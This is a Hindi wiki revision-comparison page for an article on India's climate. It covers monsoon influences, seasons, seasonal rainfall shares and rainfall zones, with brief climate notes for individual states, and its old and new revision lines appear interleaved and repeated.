"भारत की जलवायु" के अवतरणों में अंतर

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|चित्र=Indian-climate.jpg
[[भारत]] में मानसूनी जलवायु पायी जाती है, क्योंकि यह मानसून पवनों के प्रभाव क्षेत्र के अन्तर्गत आता है। फिर भी भारतीय जलवायु को दो प्रमुख तत्त्वों में सर्वाधिक प्रभावित किया है:-
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|चित्र का नाम=भारतीय जलवायु मानचित्र
#उत्तर में [[हिमालय]] [[पर्वत]] की उपस्थिति, जिसके कारण मध्य [[एशिया]] से आने वाली शीतल हवाएँ भारत में नही आ पाती तथा भारतीय जलवायु महाद्रीपीय जलवायु का सवरूप प्राप्त करती हैं।
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|विवरण=[[भारत]] में मानसूनी जलवायु पायी जाती है, क्योंकि यह [[मानसून]] पवनों के प्रभाव क्षेत्र के अन्तर्गत आता है।
#दक्षिण में [[हिन्द महासागर]] की उपस्थिति एवं भूमध्यरेखा से समीपता, जिसके कारण, कटिबन्धीत जलवायु अपने आदर्श स्वरूप पायी जाती है, जिसकी प्रमुख विशेषताएँ हैं: दैनिक तापांतर की न्युनता, अत्यधिक आर्द्रता वाली वायु तथा सम्पूर्ण देश में न्युनाधिक रूप में वर्षा का होना।  
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|शीर्षक 1=अधिक वर्षा वाले क्षेत्र
 
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|पाठ 1=[[असम]], [[अरुणाचल प्रदेश]], [[मेघालय]], [[सिक्किम]], [[पश्चिम बंगाल]], [[कोंकण]], [[मालाबार तट]] ([[केरल]]), [[मणिपुर]] 
उल्लेखनीय है कि भारत की स्थिति भूमध्यरेखा के उत्तर में है एवं कर्क रेखा इसके मध्य भाग से होकर गुज़रती है। कर्क रेखा के दक्षिण वाला भाग उष्ण कटिबन्ध में आता है एवं हिन्द महासागर, [[बंगाल की खाड़ी]] तथा [[अरब सागर]] की समीपता के कारण यहाँ की जलवायु में एक प्रकार की समान्ता के दर्शन होता है। इस जलवायविक समानता में हिमालय पर्वत की जलवायु-अवरोधक के रूप में उपस्थिति भी महत्त्वपुर्ण भूमिका निभाती है।
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|शीर्षक 2=कम वर्षा वाले क्षेत्र
 
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|पाठ 2=[[मध्य प्रदेश]], [[गुजरात]], उत्तरी तथा दक्षिणी [[आन्ध्र प्रदेश]], [[कर्नाटक]], पूर्वी [[राजस्थान]], [[हरियाणा]]
भारत की जलवायु आमतौर पर उष्‍णकटिबंधीय है। भारत में चार ऋतुएं होती हैं:
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|शीर्षक 3=अपर्याप्त वर्षा वाले क्षेत्र
*शीत ऋतु (जनवरी-फरवरी),
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|पाठ 3=[[कच्छ]], पश्चिमी [[राजस्थान]], [[लद्दाख]]। यहाँ [[कृषि]] बिना सिंचाई के सम्भव नहीं है।
*ग्रीष्‍म ऋतु (मार्च-मई)
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|शीर्षक 4=
*वर्षा ऋतु या दक्षिण पश्चिमी मानसून का मौसम (जून-सितम्‍बर) और
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|पाठ 4=
*मॉनसून पश्‍च ऋतु (अक्‍तूबर-दिसम्‍बर), जिसे दक्षिणी प्रायद्वीप में पूर्वोत्‍तर मानसून भी कहा जाता है।<ref>{{cite web |url=http://www.bharat.gov.in/knowindia/climate.php |title=जलवायु |accessmonthday=[[9 जून]] |accessyear=[[2011]] |last= |first= |authorlink= |format= |publisher=अधिकारिक वेबसाइट |language=[[हिन्दी]] }}</ref>
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[[भारत]] में मानसूनी जलवायु पायी जाती है, क्योंकि यह [[मानसून]] पवनों के प्रभाव क्षेत्र के अन्तर्गत आता है। फिर भी भारतीय जलवायु को दो प्रमुख तत्त्वों में सर्वाधिक प्रभावित किया है:-
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#उत्तर में [[हिमालय]] [[पर्वत]] की उपस्थिति, जिसके कारण मध्य [[एशिया]] से आने वाली शीतल हवाएँ भारत में नहीं आ पाती तथा भारतीय जलवायु महाद्रीपीय जलवायु का स्वरूप प्राप्त करती हैं।
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#दक्षिण में [[हिन्द महासागर]] की उपस्थिति एवं [[भूमध्य रेखा]] से समीपता, जिसके कारण, कटिबन्धीय जलवायु अपने आदर्श स्वरूप पायी जाती है, जिसकी प्रमुख विशेषताएँ हैं: दैनिक तापांतर की न्यूनता, अत्यधिक आर्द्रता वाली वायु तथा सम्पूर्ण देश में न्यूनाधिक रूप में वर्षा का होना।  
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[[चित्र:Ganga-River-Varanasi.jpg|thumb|left|[[गंगा नदी]], [[वाराणसी]] ([[उत्तर प्रदेश]])]]
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उल्लेखनीय है कि भारत की स्थिति भूमध्य रेखा के उत्तर में है एवं [[कर्क रेखा]] इसके मध्य भाग से होकर गुज़रती है। कर्क रेखा के दक्षिण वाला भाग [[उष्ण कटिबन्ध]] में आता है एवं [[हिन्द महासागर]], [[बंगाल की खाड़ी]] तथा [[अरब सागर]] की समीपता के कारण यहाँ की जलवायु में एक प्रकार की समान्ता के दर्शन होता है। इस जलवायविक समानता में हिमालय पर्वत की जलवायु-अवरोधक के रूप में उपस्थिति भी महत्त्वपूर्ण भूमिका निभाती है। उच्चावन सम्बन्धी विविधताएं, [[जल]] एवं स्थल का असमान वितरण, वनस्पति-आवरण एवं स्थिति ऐसे महत्त्वपूर्ण कारक हैं, जो भारत की जलवायु को प्रभावित करके इसमें विभिन्नता उत्पन्न करते हैं। इस विविधता पर सर्वाधिक व्यापक प्रभाव शीत तथा ग्रीष्मकाल में परिवर्तित हो जाने वाली [[मानसून]] हवाओं का पड़ता है। लगभग सम्पूर्ण देश पर मानूसन पवनों का इतना स्पष्ट प्रभाव पड़ता है यहाँ वर्ष भर में चार प्रमुख [[ऋतु|ऋतुएँ]] पायी जाती हैं। मानूसन पवनों द्वारा समय-समय पर अपनी दिशा पूर्णतया परिवर्तित कर लेने के कारण ये ऋतुयें भी क्रमानुसार चक्रवत परिवर्तित होती रहती हैं। भारत में मिलने वाली चार प्रमुख ऋतुएं निम्नलिखित हैं:
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*[[शीत ऋतु]] ([[जनवरी]]-[[फरवरी]])
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*[[ग्रीष्म ऋतु]] ([[मार्च]]-[[मई]])
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*[[वर्षा ऋतु]] या दक्षिण पश्चिमी [[मानसून]] का मौसम ([[जून]]-[[सितम्बर]])  
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*[[शरद ऋतु]] ([[अक्टूबर]]-[[दिसम्बर]])
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==वर्षा का वितरण==
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{| class="bharattable-green" align="right"
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|+मौसम के अनुसार वर्षा का वितरण
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![[वर्षा]] का मौसम !! समयावधि !! वार्षिक वर्षा का<br /> प्रतिशत (लगभग)
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|दक्षिणी-पश्चिमी मानसून || [[जून]] से [[सितम्बर]] तक || 73.7
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|परवर्ती मानसून  || [[अक्टूबर]] से [[दिसम्बर]] || 13.3
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|[[शीत ऋतु]] अथवा उत्तरी पश्चिमी मानसून || [[जनवरी]] - [[फरवरी]] || 2.6
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|पूर्व-मानसून  || [[मार्च]] से [[मई]] || 10.0
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|}
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====अधिक वर्षा वाले क्षेत्र====
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पश्चिमी घाट पर्वत का पश्चिमी तटीय भाग, [[हिमालय]] पर्वतमाला की दक्षिणावर्ती तलहटी में सम्मिलित राज्य- [[असम]], [[अरुणाचल प्रदेश]], [[मेघालय]], [[सिक्किम]], [[पश्चिम बंगाल]] का उत्तरी भाग, पश्चिमी तट के [[कोंकण]], [[मालाबार तट]] ([[केरल]]), दक्षिणी किनारा, [[मणिपुर]] एवं [[मेघालय]] इत्यादि सम्मिलित हैं। यहाँ वार्षिक वर्षा की मात्रा 200 सेमी. से अधिक होती है। विश्व की सर्वाधिक वर्षा वाले स्थान मासिनराम तथा चेरापूंजी मेघालय में ही स्थित हैं।
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====साधारण वर्षा वाले क्षेत्र====
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[[चित्र:Monsoon-Rain-1.jpg|thumb|[[मानसून|मानसूनी]] [[वर्षा]]]]
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इस क्षेत्र में वार्षिक वर्षा की मात्रा 100 से 200 सेमी. तक होती है। यह मानसूनी वन प्रदेशों का क्षेत्र है। इसमें पश्चिमी घाट का पूर्वोत्तर ढाल, पश्चिम बंगाल का दक्षिणी-पश्चिमी क्षेत्र, [[उड़ीसा]], [[बिहार]], दक्षिणी-पूर्वी [[उत्तर प्रदेश]] तथा तराई क्षेत्र के समानान्तर पतली पट्टी में स्थित [[उत्तर प्रदेश]], [[पंजाब]] होते हुए [[जम्मू कश्मीर]] के क्षेत्र शामिल हैं। इन क्षेत्रों में वर्षा की विषमता 15 प्रतिशत से 20 प्रतिशत तक पायी जाती है। अतिवृष्टि एवं अनावृष्टि के कारण फसलों की बहुत हानि होती है।
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====कम वर्षा वाले क्षेत्र====
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इसके अन्तर्गत [[मध्य प्रदेश]], दक्षिणी का पठारी भाग [[गुजरात]], उत्तरी तथा दक्षिणी [[आन्ध्र प्रदेश]], [[कर्नाटक]], पूर्वी [[राजस्थान]], दक्षिणी पंजाब, [[हरियाणा]] तथा दक्षिणी उत्तरी प्रदेश आते हैं। यहाँ 50 से 100 सेमी. वार्षिक वर्षा होती है। वर्षा की विषमता 20 प्रतिशत से 25 प्रतिशत तक होती है।
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====अपर्याप्त वर्षा वाले क्षेत्र====
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इन क्षेत्रों में होने वाली वार्षिक वर्षा की मात्रा 50 सेमी. से भी कम होती है। [[कच्छ]], पश्चिमी राजस्थान, [[लद्दाख]] आदि क्षेत्र इसके अन्तर्गत शामिल किये जाते हैं। यहाँ [[कृषि]] बिना सिंचाई के सम्भव नहीं है।
 
==भारत के राज्यों की जलवायु==
 
==भारत के राज्यों की जलवायु==
;अरुणाचल प्रदेश
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====अरुणाचल प्रदेश====
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[[चित्र:Himalayas-5.jpg|thumb|[[हिमालय]]]]
 
{{main|अरुणाचल प्रदेश की जलवायु}}
 
{{main|अरुणाचल प्रदेश की जलवायु}}
 
*[[अरुणाचल प्रदेश]] की जलवायु में भू-आकृति एवं ऊँचाई के साथ परिवर्तन होता है।  
 
*[[अरुणाचल प्रदेश]] की जलवायु में भू-आकृति एवं ऊँचाई के साथ परिवर्तन होता है।  
 
*लघु पर्वतीय क्षेत्र उपोष्ण कटिबंधीय है। यहाँ गर्म एवं आर्द्र जलवायु है।  
 
*लघु पर्वतीय क्षेत्र उपोष्ण कटिबंधीय है। यहाँ गर्म एवं आर्द्र जलवायु है।  
 
*निम्न घाटियों में ग्रीष्मकालीन अधिकतम [[तापमान]] 30° से., जबकि शरद ऋतु में निम्नतम तापमान 14° से. तक आ जाता है।  
 
*निम्न घाटियों में ग्रीष्मकालीन अधिकतम [[तापमान]] 30° से., जबकि शरद ऋतु में निम्नतम तापमान 14° से. तक आ जाता है।  
;असम
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====असम====
 
{{main|असम की जलवायु}}
 
{{main|असम की जलवायु}}
 
*उष्णतम महीने [[अगस्त]] में [[असम]] का औसत [[तापमान]] 29° से., रहता है, जबकि सर्दियों में [[जनवरी]] महीनें का औसत तापमान 16° से. होता है।
 
*उष्णतम महीने [[अगस्त]] में [[असम]] का औसत [[तापमान]] 29° से., रहता है, जबकि सर्दियों में [[जनवरी]] महीनें का औसत तापमान 16° से. होता है।
 
*ठंड के महीनों में कोहरे एवं [[वर्षा]] की छोटी झड़ियों का आना एक आम बात है।
 
*ठंड के महीनों में कोहरे एवं [[वर्षा]] की छोटी झड़ियों का आना एक आम बात है।
 
*असम की जलवायु सामान्य भारतीय जलवायु (गर्म एवं शुष्क) से अलग है।
 
*असम की जलवायु सामान्य भारतीय जलवायु (गर्म एवं शुष्क) से अलग है।
;आंध्र प्रदेश
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====आंध्र प्रदेश====
 
{{main|आंध्र प्रदेश की जलवायु}}
 
{{main|आंध्र प्रदेश की जलवायु}}
*[[आंध्र प्रदेश]] में तीन ऋतुएँ पाई जाती हैं-  
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*[[आंध्र प्रदेश]] में तीन [[ऋतुएँ]] पाई जाती हैं-  
 
#[[मार्च]] से [[जून]] तक ग्रीष्म
 
#[[मार्च]] से [[जून]] तक ग्रीष्म
 
#[[जुलाई]] से [[सितंबर]] तक उष्णकटिबंधीय [[वर्षा]]  
 
#[[जुलाई]] से [[सितंबर]] तक उष्णकटिबंधीय [[वर्षा]]  
 
#[[अक्टूबर]] से [[फ़रवरी]] तक शीत ऋतु।
 
#[[अक्टूबर]] से [[फ़रवरी]] तक शीत ऋतु।
 
*पूरे राज्य में अधिकतम और न्यूनतम [[तापमान]] क्रमशः 23° से 28° से. और 10° से 12° से. के बीच रहता है।
 
*पूरे राज्य में अधिकतम और न्यूनतम [[तापमान]] क्रमशः 23° से 28° से. और 10° से 12° से. के बीच रहता है।
;ओडिशा
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====उत्तर प्रदेश====
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[[चित्र:Bay-Of-Bengal.jpg|thumb|[[बंगाल की खाड़ी]]]]
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{{main|उत्तर प्रदेश की जलवायु}}
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[[उत्तर प्रदेश]] की जलवायु उष्णकटिबंधीय मानसूनी है। राज्य में औसत [[तापमान]] [[जनवरी]] में 12.50 से 17.50 से. रहता है, जबकि [[मई]]-[[जून]] में यह 27.50 से 32.50 से. के बीच रहता है। पूर्व से (1,000 मिमी से 2,000 मिमी) पश्चिम (610 मिमी से 1,000 मिमी) की ओर [[वर्षा]] कम होती जाती है।
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====उत्तराखण्ड====
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{{main|उत्तराखण्ड की जलवायु}}
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*उष्णकटिबन्धीय मॉनसूनी विशेषताओं वाले [[उत्तराखण्ड]] की जलवायु शीतोष्ण है। इसकी विशेषता मौसम के अनुसार [[तापमान]] परिवर्तन है।
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*[[जनवरी]] सबसे ठण्डा महीना होता है, जब तापमान उत्तर में शून्य से नीचे की ओर दक्षिण-पूर्व में लगभग 5° से. हो जाता है।
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*[[मई]] सबसे गर्म महीना होता है; फिर भी भारतीय उपमहाद्वीप के पर्यटकों को आकर्षित करने के लिहाज़ से कम ही गर्म साबित होता है।
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*[[जुलाई]] दक्षिणी-पश्चिमी मॉनसून का महीना है। उत्तराखण्ड में होने वाली कुल [[वर्षा]] का दो-तिहाई भाग दक्षिण-पश्चिमी मॉनसून<ref>जुलाई-सितम्बर</ref> से आता है।
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====ओडिशा====
 
{{main|ओडिशा की जलवायु}}
 
{{main|ओडिशा की जलवायु}}
 
*[[ओडिशा]] उष्णकटिबंधीय आर्द्र-शुष्क़ (उष्णकटिबंधीय सवाना घास के मैदान) जलवायु प्रदेश में स्थित है।
 
*[[ओडिशा]] उष्णकटिबंधीय आर्द्र-शुष्क़ (उष्णकटिबंधीय सवाना घास के मैदान) जलवायु प्रदेश में स्थित है।
 
*[[कटक]] में औसत [[तापमान]] लगभग 26° से. रहता है।  
 
*[[कटक]] में औसत [[तापमान]] लगभग 26° से. रहता है।  
 
*[[जनवरी]] सबसे सर्द महीना है, जिसमें औसत तापमान 20° से. रहता है, लेकिन [[मई]], जो सबसे गर्म महीना है, में औसत तापमान 33° से. तक बढ़ जाता है।
 
*[[जनवरी]] सबसे सर्द महीना है, जिसमें औसत तापमान 20° से. रहता है, लेकिन [[मई]], जो सबसे गर्म महीना है, में औसत तापमान 33° से. तक बढ़ जाता है।
;उत्तर प्रदेश
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====कर्नाटक====
{{main|उत्तर प्रदेश की जलवायु}}
 
[[उत्तर प्रदेश]] की जलवायु उष्णकटिबंधीय मानसूनी है। राज्य में औसत [[तापमान]] [[जनवरी]] में 12.50 से 17.50 से. रहता है, जबकि [[मई]]-[[जून]] में यह 27.50 से 32.50 से. के बीच रहता है। पूर्व से (1,000 मिमी से 2,000 मिमी) पश्चिम (610 मिमी से 1,000 मिमी) की ओर [[वर्षा]] कम होती जाती है।
 
;कर्नाटक
 
 
{{main|कर्नाटक की जलवायु}}
 
{{main|कर्नाटक की जलवायु}}
 
*पश्चिम से पूर्व की ओर बढ़ते हुए पठार पर मलनाड ज़्यादा खुले क्षेत्र में परिवर्तित हो जाता है, जिसे मैदान कहते हैं, जहाँ कम वर्षा होती है और मॉनसूनी जंगलों का स्थान झाड़ीदार जंगल ले लेते हैं।  
 
*पश्चिम से पूर्व की ओर बढ़ते हुए पठार पर मलनाड ज़्यादा खुले क्षेत्र में परिवर्तित हो जाता है, जिसे मैदान कहते हैं, जहाँ कम वर्षा होती है और मॉनसूनी जंगलों का स्थान झाड़ीदार जंगल ले लेते हैं।  
 
*मॉनसूनी जंगलों में वन्य जीवन समृद्ध है, जिसमें [[बाघ]], [[हाथी]], गौर और हिरन शामिल हैं।  
 
*मॉनसूनी जंगलों में वन्य जीवन समृद्ध है, जिसमें [[बाघ]], [[हाथी]], गौर और हिरन शामिल हैं।  
;केरल  
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====केरल====
 
{{main|केरल की जलवायु}}
 
{{main|केरल की जलवायु}}
 
[[केरल]] राज्य में गर्म मौसम है क्योंकि यह भूमध्यरेखा से मात्र 8 डिग्री के अंतराल पर स्थित है। केरल राज्य की जलवायु की मुख्य विशेषता है- शीतल मन्द हवा और भारी वर्षा। पश्चिमी मानसून से प्रमुख वर्षा काल प्रारम्भ होता है। दूसरा वर्षाकाल उत्तरी-पश्चिमी मानसून है।  
 
[[केरल]] राज्य में गर्म मौसम है क्योंकि यह भूमध्यरेखा से मात्र 8 डिग्री के अंतराल पर स्थित है। केरल राज्य की जलवायु की मुख्य विशेषता है- शीतल मन्द हवा और भारी वर्षा। पश्चिमी मानसून से प्रमुख वर्षा काल प्रारम्भ होता है। दूसरा वर्षाकाल उत्तरी-पश्चिमी मानसून है।  
;गुजरात  
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====गुजरात====
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[[चित्र:Rann-Of-Kachchh.jpg|thumb| [[कच्छ का रण]], [[गुजरात]]]]
 
{{main|गुजरात की जलवायु}}
 
{{main|गुजरात की जलवायु}}
 
मध्य [[गुजरात]] के दक्षिणी हिस्से में [[वर्षा]] दर अधिक और [[तापमान]] में अंतर कम है; और [[मिट्टी]] ज़्यादा उपजाऊ है, जो अंशत: दक्कन क्षेत्र के बैसाल्ट चट्टानों से व्युत्पन्न हुई है। इस क्षेत्र का केन्द्र वडोदरा ([[बड़ौदा]]) शहर है, जो पहले एक समृद्ध और शक्तिशाली राज्य की राजधानी था और जिसका दक्षिणी हिस्सा अब वडोदरा ज़िला है। यहाँ की महत्त्वपूर्ण नदी नर्मदा है, जो [[खंभात की खाड़ी]] में गिरती है। [[नर्मदा नदी|नर्मदा]] और तापी ([[ताप्ती नदी|ताप्ती]]) नदी द्वारा गाद जमा किए जाने के कारण खंभात की खाड़ी की गहराई कम हो गई है और यहाँ के भूतपूर्व बंदरगाहों का पतन हो गया।  
 
मध्य [[गुजरात]] के दक्षिणी हिस्से में [[वर्षा]] दर अधिक और [[तापमान]] में अंतर कम है; और [[मिट्टी]] ज़्यादा उपजाऊ है, जो अंशत: दक्कन क्षेत्र के बैसाल्ट चट्टानों से व्युत्पन्न हुई है। इस क्षेत्र का केन्द्र वडोदरा ([[बड़ौदा]]) शहर है, जो पहले एक समृद्ध और शक्तिशाली राज्य की राजधानी था और जिसका दक्षिणी हिस्सा अब वडोदरा ज़िला है। यहाँ की महत्त्वपूर्ण नदी नर्मदा है, जो [[खंभात की खाड़ी]] में गिरती है। [[नर्मदा नदी|नर्मदा]] और तापी ([[ताप्ती नदी|ताप्ती]]) नदी द्वारा गाद जमा किए जाने के कारण खंभात की खाड़ी की गहराई कम हो गई है और यहाँ के भूतपूर्व बंदरगाहों का पतन हो गया।  
;गोवा   
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====गोवा====  
 
{{main|गोवा की जलवायु}}
 
{{main|गोवा की जलवायु}}
[[गोवा]] की जलवायु एकरूप है और यहाँ पर [[जून]] से [[सितम्बर]] के बीच दक्षिणी-पश्चिमी मानसून से [[वर्षा]] होती है। गोवा का मौसम बेहद शांत है, लेकिन जून से सितंबर के अंतिम सप्ताह तक मानसून की हलचल रहती है। कई पर्यटक तो गोवा में खासतौर से मानसून का आनन्द लेने पहुँचते हैं।  
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[[गोवा]] की जलवायु एकरूप है और यहाँ पर [[जून]] से [[सितम्बर]] के बीच दक्षिणी-पश्चिमी मानसून से [[वर्षा]] होती है। गोवा का मौसम बेहद शांत है, लेकिन जून से सितंबर के अंतिम सप्ताह तक [[मानसून]] की हलचल रहती है। कई पर्यटक तो गोवा में ख़ासतौर से मानसून का आनन्द लेने पहुँचते हैं।  
;छत्तीसगढ़
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====छत्तीसगढ़====
 
{{main|छत्तीसगढ़ की जलवायु}}
 
{{main|छत्तीसगढ़ की जलवायु}}
 
*[[छत्तीसगढ़]] की जलवायु में भी मॉनसूनी जलवायु की सभी विशेषताएँ हैं।
 
*[[छत्तीसगढ़]] की जलवायु में भी मॉनसूनी जलवायु की सभी विशेषताएँ हैं।
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*मॉनसून की दृष्टि से छत्तीसगढ़ '''शुष्क आर्द्र मॉनसूनी जलवायु''' के अन्तर्गत आता है।  
 
*मॉनसून की दृष्टि से छत्तीसगढ़ '''शुष्क आर्द्र मॉनसूनी जलवायु''' के अन्तर्गत आता है।  
 
*कर्क रेखा प्रदेश के उत्तरी भाग (सरगुजा, कोरिया ज़िले) से होकर गुज़रती है, जिसका पर्यापत प्रभाव यहाँ की जलवायु पर पड़ता है।
 
*कर्क रेखा प्रदेश के उत्तरी भाग (सरगुजा, कोरिया ज़िले) से होकर गुज़रती है, जिसका पर्यापत प्रभाव यहाँ की जलवायु पर पड़ता है।
;जम्मू और कश्मीर  
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====जम्मू और कश्मीर====
 
{{main|जम्मू और कश्मीर की जलवायु}}
 
{{main|जम्मू और कश्मीर की जलवायु}}
 
*[[जम्मू और कश्मीर]] राज्य का 90 प्रतिशत से अधिक भाग पहाड़ी क्षेत्र है।  
 
*[[जम्मू और कश्मीर]] राज्य का 90 प्रतिशत से अधिक भाग पहाड़ी क्षेत्र है।  
 
*इस क्षेत्र को भौगोलिक आकृति की दृष्टि से इस सात भागों में बाँटा गया है।  
 
*इस क्षेत्र को भौगोलिक आकृति की दृष्टि से इस सात भागों में बाँटा गया है।  
 
*जो पश्चिमी [[हिमालय]] के संरचानात्मक घटकों से जुड़े हैं।  
 
*जो पश्चिमी [[हिमालय]] के संरचानात्मक घटकों से जुड़े हैं।  
;झारखण्ड
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====झारखण्ड====
 
{{main|झारखण्ड की जलवायु}}
 
{{main|झारखण्ड की जलवायु}}
 
*[[झारखण्ड]] प्रदेश उष्णकटिबंधीत क्षेत्र में स्थित है।  
 
*[[झारखण्ड]] प्रदेश उष्णकटिबंधीत क्षेत्र में स्थित है।  
 
*झारखण्ड की जलवायु सामान्यताः उष्णकटिबंधीत है किन्तु ऊँचे पठारी भाग होने के कारण यहाँ की जलवायु की स्थिति आस-पास से भिन्न है।  
 
*झारखण्ड की जलवायु सामान्यताः उष्णकटिबंधीत है किन्तु ऊँचे पठारी भाग होने के कारण यहाँ की जलवायु की स्थिति आस-पास से भिन्न है।  
 
*यह क्षेत्र मॉनसूनी जलवायु के अंतर्गत आने वाले प्रत्येक मौसम के उतार-चढ़ाव को झेलता है।  
 
*यह क्षेत्र मॉनसूनी जलवायु के अंतर्गत आने वाले प्रत्येक मौसम के उतार-चढ़ाव को झेलता है।  
;दिल्ली   
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====तमिलनाडु====
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{{main|तमिलनाडु की जलवायु}}
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*[[तमिलनाडु]] राज्य की जलवायु मूलत: उष्णकटिबंधीय है।
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*ग्रीष्मकाल में [[तापमान]] यदा-कदा ही 43° से. से ऊपर और शीत ऋतु में 18-24° से. से नीचे जाता है।
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*[[दिसंबर]] और [[जनवरी]] में न्यूनतम तथा [[अप्रैल]] और [[जून]] में अधिकतम तापमान रिकॉर्ड किया जाता है।
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====त्रिपुरा ====
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{{main|त्रिपुरा की जलवायु}}
 +
*[[त्रिपुरा]] की जलवायु कम गर्म तथा आर्द्र होती है।
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*त्रिपुरा राज्य की जलवायु आदर्श बारिश के लिए अनुकूल हैं।
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====दिल्ली====  
 
{{main|दिल्ली की जलवायु}}
 
{{main|दिल्ली की जलवायु}}
[[दिल्ली]] की जलवायु [[उपोष्ण]] है। दिल्ली में गर्मी के महीने [[मई]] तथा [[जून]] बेहद शुष्क और झुलसाने वाले होते हैं। दिन का [[तापमान]] कभी-कभी 40-45 सेल्सियस तक पहुँच जाता है। मानसून [[जुलाई]] में आता है। और तापमान को कम करता है। लेकिन [[सितंबर]] के अंत तक मौसम गर्म, उमस भरा और कष्टप्रद रहता है।  
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[[दिल्ली]] की जलवायु [[उपोष्ण]] है। दिल्ली में गर्मी के महीने [[मई]] तथा [[जून]] बेहद शुष्क और झुलसाने वाले होते हैं। दिन का [[तापमान]] कभी-कभी 40-45 सेल्सियस तक पहुँच जाता है। [[मानसून]] [[जुलाई]] में आता है। और तापमान को कम करता है। लेकिन [[सितंबर]] के अंत तक मौसम गर्म, उमस भरा और कष्टप्रद रहता है।  
;पश्चिम बंगाल
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====नागालैंड====
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{{main|नागालैंड की जलवायु}}
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*[[नागालैंड]] की जलवायु मानसूनी है।
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*औसत वार्षिक [[वर्षा]] 1,800 से 2,500 मिमी तक होती है और यह दक्षिण-पश्चिमी मॉनसून<ref>[[मई]] से [[सितंबर]]</ref> के महीनों में संकेंद्रित होती है।
 +
====पंजाब====
 +
{{main|पंजाब की जलवायु}}
 +
*अंतर्देशीय उपोष्ण कटिबंधीय अवस्थिति के कारण [[पंजाब]] की जलवायु अर्द्ध शुष्क से अर्द्ध नम के बीच विविधतापूर्ण है।
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*गर्मी का मौसम बेहद गर्म होता है; [[जून]] में औसत [[तापमान]] 34° से. होता है और विशेष रूप से गर्म दिनों में यह 45° से. तक पहुँच जाता है।
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*यहाँ शीत ऋतु में सर्दी भी काफ़ी पड़ती है। [[जनवरी]] में औसत तापमान 13° से. होता है और कई बार रात के समय तापमान जमाव बिन्दु तक गिर जाता है।
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====पश्चिम बंगाल====
 
{{main|पश्चिम बंगाल की जलवायु}}
 
{{main|पश्चिम बंगाल की जलवायु}}
 
*[[पश्चिम बंगाल]] में उष्णकटिबंधीय आर्द्र शुष्क जलवायु रहती है। वार्षिक औसत [[तापमान]] 26.8° से. रहता है।
 
*[[पश्चिम बंगाल]] में उष्णकटिबंधीय आर्द्र शुष्क जलवायु रहती है। वार्षिक औसत [[तापमान]] 26.8° से. रहता है।
 
*ग्रीष्म ऋतु गर्म एवं आर्द्र रहती है, जिसमें न्यूनतम तापमान 30° लगभग रहता है। [[मई]] और [[जून]] माह में यह 40° को भी पार कर जाता है।
 
*ग्रीष्म ऋतु गर्म एवं आर्द्र रहती है, जिसमें न्यूनतम तापमान 30° लगभग रहता है। [[मई]] और [[जून]] माह में यह 40° को भी पार कर जाता है।
 
*शीत ऋतु में न्यूनतम तापमान 12° से. तक हो जाता है। दिसंबर से फ़रवरी के बीच यह तापमान रहता है।  
 
*शीत ऋतु में न्यूनतम तापमान 12° से. तक हो जाता है। दिसंबर से फ़रवरी के बीच यह तापमान रहता है।  
;बिहार
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#[[मार्च]] से मुख्य [[जून]] तक ग्रीष्म ऋतु
 
#[[मार्च]] से मुख्य [[जून]] तक ग्रीष्म ऋतु
 
#मध्य जून से [[अक्टूबर]] तक दक्षिण-पश्चिम मॉनसून वाली वर्षा ऋतु  
 
#मध्य जून से [[अक्टूबर]] तक दक्षिण-पश्चिम मॉनसून वाली वर्षा ऋतु  
 
#[[नवंबर]] से [[फ़रवरी]] तक शीत ऋतु है।  
 
#[[नवंबर]] से [[फ़रवरी]] तक शीत ऋतु है।  
 
*सुदूर उत्तर को छोड़कर मई राज्य का सबसे गर्म महीना होता है, जिसमें [[तापमान]] 32° से. को भी पार कर जाता है।  
 
*सुदूर उत्तर को छोड़कर मई राज्य का सबसे गर्म महीना होता है, जिसमें [[तापमान]] 32° से. को भी पार कर जाता है।  
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{{main|मध्य प्रदेश की जलवायु}}
 
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[[मध्य प्रदेश]] की जलवायु मानसून पर निर्भर करती है। ग्रीष्म ऋतु गर्म व शुष्क होती है और गर्म हवाएँ चलती हैं। राज्य का औसत तापमान 29 डिग्री से. रहता है। कुछ भागों में तापमान 48 डिग्री से. तक पहुँच जाता है।  
 
[[मध्य प्रदेश]] की जलवायु मानसून पर निर्भर करती है। ग्रीष्म ऋतु गर्म व शुष्क होती है और गर्म हवाएँ चलती हैं। राज्य का औसत तापमान 29 डिग्री से. रहता है। कुछ भागों में तापमान 48 डिग्री से. तक पहुँच जाता है।  
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[[मुम्बई]] तट पर दक्षिण-पश्चिम मॉनसून की पहली बारिश [[जून]] के पहले सप्ताह में होती है और यह [[सितम्बर]] तक चलती है। इस दौरान यहाँ वार्षिक [[वर्षा]] का 80 प्रतिशत दर्ज किया जाता है। सामान्यतः चार मौसम हैं:  
 
[[मुम्बई]] तट पर दक्षिण-पश्चिम मॉनसून की पहली बारिश [[जून]] के पहले सप्ताह में होती है और यह [[सितम्बर]] तक चलती है। इस दौरान यहाँ वार्षिक [[वर्षा]] का 80 प्रतिशत दर्ज किया जाता है। सामान्यतः चार मौसम हैं:  
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#[[अक्टूबर]]-[[नवंबर]] (उष्ण व शुष्क)
 
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#[[दिसंबर]]-[[फ़रवरी]] (ठंडा व शुष्क)
 
#[[दिसंबर]]-[[फ़रवरी]] (ठंडा व शुष्क)
;मेघालय  
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*[[मिज़ोरम]] की जलवायु समशीतोष्ण है।
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[[मेघालय]] की जलवायु ना तो अधिक उष्ण या ना अधिक शीत है। यहाँ का जलवायु मध्यम और आर्द्र है। यहाँ वार्षिक वर्षा लगभग 1200 से.मी. तक होती है। यह राज्य को देश का सबसे 'गीला' राज्य कहा जाता है। [[शिलांग]] के दक्षिण में चेरापूंजी है, जहाँ एक कैलेंडर महीने में सर्वाधिक बरसात का विश्व कीर्तिमान स्थापित किया है।  
 
[[मेघालय]] की जलवायु ना तो अधिक उष्ण या ना अधिक शीत है। यहाँ का जलवायु मध्यम और आर्द्र है। यहाँ वार्षिक वर्षा लगभग 1200 से.मी. तक होती है। यह राज्य को देश का सबसे 'गीला' राज्य कहा जाता है। [[शिलांग]] के दक्षिण में चेरापूंजी है, जहाँ एक कैलेंडर महीने में सर्वाधिक बरसात का विश्व कीर्तिमान स्थापित किया है।  
;राजस्थान  
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[[चित्र:Thar desert.jpg|thumb|[[थार मरुस्थल]], [[राजस्थान]]]]
 
